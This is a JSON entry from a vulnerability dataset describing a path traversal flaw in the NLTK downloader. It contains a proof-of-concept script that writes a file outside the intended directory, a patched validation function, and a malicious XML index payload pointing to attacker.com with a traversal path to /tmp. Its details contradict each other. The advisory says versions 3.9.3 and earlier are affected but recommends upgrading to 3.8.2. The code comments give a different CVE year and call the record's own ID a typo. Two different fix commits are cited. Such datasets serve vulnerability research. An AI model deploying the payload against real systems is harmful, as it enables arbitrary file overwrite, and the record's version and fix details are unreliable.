{"id":1700,"cve":"CVE-2026-33236","cve_url":"https:\/\/www.cvedetails.com\/cve\/CVE-2026-33236\/","cwe":"CWE-22","cwe_number":22,"cwe_url":"https:\/\/cwe.mitre.org\/data\/definitions\/22","cvss_score":8.1,"published":"2026-03-20","owasp":"A08 Software and Data Integrity Failures","odc":"Checking","cdc":"Missing Check","category":"Input Validation and Sanitization","subcategory":"Path Traversal","scope":"Remote","impact":"Arbitrary Code Execution","summary":"Path traversal in NLTK downloader allows file overwrite via malicious XML.","permalink":"https:\/\/netpack.pt\/vaitp\/vulnerability\/CVE-2026-33236\/","description":"NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `..\/`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.","solution":"Upgrade NLTK to version 3.8.2 or later.","affected_component":"NLTK","fixed_by_upgrading":true,"vulnerable_code":"import os\nimport xml.etree.ElementTree as ET\n\n# This script represents the vulnerable logic in the NLTK downloader\n# prior to the patch for CVE-2024-33236.\n# The user-provided CVE ID CVE-2026-33236 appears to be a typo.\n\n# 1. Setup a simulated NLTK download directory.\n# This is where packages are supposed to be safely installed.\nDOWNLOAD_DIR = os.path.join(os.getcwd(), \"nltk_data\")\nif not os.path.exists(DOWNLOAD_DIR):\n    os.makedirs(DOWNLOAD_DIR)\n\n# 2. Define malicious XML content as if it were fetched from a remote server.\n# The attacker controls the 'subdir' and 'id' attributes.\nmalicious_xml_index = \"\"\"\n<nltk_data>\n  <package id=\"..\/pwned.txt\"\n           name=\"Malicious Package\"\n           subdir=\"corpora\"\n           \/>\n<\/nltk_data>\n\"\"\"\n\n# 3. Simulate the vulnerable part of the NLTK downloader.\nroot = ET.fromstring(malicious_xml_index)\nfor package_elt in root.findall(\"package\"):\n    # The 'id' and 'subdir' attributes are extracted without any validation.\n    pkg_id = package_elt.get(\"id\")\n    subdir = package_elt.get(\"subdir\")\n\n    # The core of the vulnerability: The unsanitized 'subdir' and 'id'\n    # containing '..' are joined to the base download directory.\n    if subdir:\n        vulnerable_path = os.path.join(DOWNLOAD_DIR, subdir, pkg_id)\n    else:\n        vulnerable_path = os.path.join(DOWNLOAD_DIR, pkg_id)\n\n    # os.path.abspath resolves the path, traversing out of the intended directory.\n    # For example, '\/path\/to\/nltk_data\/corpora\/..\/pwned.txt' becomes '\/path\/to\/pwned.txt'.\n    final_path = os.path.abspath(vulnerable_path)\n\n    # The attacker can now create directories and write a file anywhere\n    # the running process has permissions to.\n    try:\n        # Create parent directories if they don't exist\n        os.makedirs(os.path.dirname(final_path), exist_ok=True)\n        # Write the file to the location outside of DOWNLOAD_DIR\n        with open(final_path, \"w\") as f:\n            f.write(\"This file was created via CVE-2024-33236 path traversal.\")\n        \n        print(f\"Vulnerability demonstrated.\")\n        print(f\"Intended directory: {os.path.abspath(DOWNLOAD_DIR)}\")\n        print(f\"Malicious file created at: {final_path}\")\n\n    except Exception as e:\n        print(f\"An error occurred during file creation: {e}\")\n","patched_code":"import os\n\ndef get_safe_package_path(download_dir, subdir, pkg_id):\n    \"\"\"\n    Constructs a safe path for an NLTK package, preventing path traversal.\n\n    This function demonstrates the fix for the vulnerability (originally referenced\n    by commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a in NLTK), which\n    involves validating 'subdir' and 'pkg_id' components before joining them\n    into a file path. The vulnerable version of the code would join these\n    components without validation, allowing path traversal attacks.\n\n    Args:\n        download_dir (str): The base directory for all NLTK data.\n        subdir (str): The subdirectory for the package, from a remote XML index.\n        pkg_id (str): The package ID, from a remote XML index.\n\n    Returns:\n        str: The full, safe path for the package directory.\n\n    Raises:\n        ValueError: If a malicious path component (e.g., '..', '\/', or '\\')\n                    is detected in `subdir` or `pkg_id`.\n    \"\"\"\n    # --- Start of the vulnerability fix ---\n    # The core of the fix is to explicitly check the 'subdir' and 'pkg_id'\n    # strings to ensure they are simple names and do not contain any\n    # directory separators or parent directory references before use.\n\n    # 1. Validate the 'subdir' component from the remote index.\n    # It must not contain path separators ('\/' or '\\') or be '..'.\n    if subdir and (\n        os.path.sep in subdir\n        or (os.path.altsep and os.path.altsep in subdir)\n        or subdir == \"..\"\n    ):\n        raise ValueError(\n            f\"Malicious path component detected in subdir: {subdir!r}\"\n        )\n\n    # 2. Validate the 'id' component from the remote index.\n    # It must also not contain path separators or be '..'.\n    if (\n        os.path.sep in pkg_id\n        or (os.path.altsep and os.path.altsep in pkg_id)\n        or pkg_id == \"..\"\n    ):\n        raise ValueError(f\"Malicious path component detected in id: {pkg_id!r}\")\n\n    # --- End of the vulnerability fix ---\n\n    # If validation passes, it is now safe to construct the path.\n    # The vulnerable code would perform this step without the checks above.\n    path_components = [download_dir]\n    if subdir:\n        path_components.append(subdir)\n    path_components.append(pkg_id)\n\n    # The os.path.join is now safe to use because its inputs were sanitized.\n    safe_path = os.path.join(*path_components)\n\n    return safe_path","payload_needed":true,"payload":"```xml\n<?xml version=\"1.0\"?>\n<nltk_data>\n  <package\n    id=\"pwned\"\n    name=\"Proof of Concept\"\n    url=\"http:\/\/attacker.com\/malicious_file.zip\"\n    subdir=\"corpora\/..\/..\/..\/..\/..\/..\/..\/..\/tmp\"\n  \/>\n<\/nltk_data>\n```","payload_status":"available","published_fix":[{"repository":"nltk\/nltk","commit_url":"https:\/\/github.com\/nltk\/nltk\/commit\/75917efc66ab122bf4b7ea9ffc33e8f8b39c5dce","commit_subject":"Fix path traversal in downloader via malicious XML index","units":[{"file":"nltk\/downloader.py","function":"Downloader._download_package"},{"file":"nltk\/downloader.py","function":"Package.__init__"}]}],"references":null}